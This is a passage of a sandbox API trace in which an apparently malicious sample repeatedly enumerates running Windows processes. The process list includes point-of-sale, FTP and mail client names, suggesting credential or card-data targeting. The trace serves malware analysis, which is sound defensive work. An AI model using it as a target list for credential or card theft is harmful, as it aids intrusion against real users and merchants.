cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0298.032] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0298.083] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0298.085] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0298.087] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0298.089] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0298.091] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0298.092] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0298.094] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0298.096] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0298.171] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0298.173] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0298.175] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0298.177] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0298.179] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0298.180] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0298.182] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0298.184] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0298.185] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0298.187] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0298.189] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0298.190] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0298.242] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0298.244] CloseHandle (hObject=0x344) returned 1 [0298.245] Sleep (dwMilliseconds=0x64) [0298.286] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0298.302] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0298.304] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0298.306] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0298.308] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0298.311] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0298.313] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0298.315] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0298.368] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0298.370] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0298.373] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.375] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.377] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0298.379] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.381] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.384] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.386] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.388] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.390] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.392] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.396] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0298.398] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0298.400] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0298.402] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.404] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0298.406] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0298.408] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0298.458] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0298.460] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.462] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0298.464] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0298.466] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0298.468] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0298.470] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0298.472] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0298.474] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0298.476] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0298.478] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0298.480] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0298.482] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0298.484] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0298.486] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0298.488] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0298.490] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0298.492] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0298.494] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0298.496] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0298.498] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0298.500] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0298.502] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0298.551] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0298.553] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0298.555] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0298.557] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0298.559] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0298.561] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0298.563] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0298.565] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0298.567] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0298.570] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0298.572] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0298.574] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0298.577] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0298.579] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 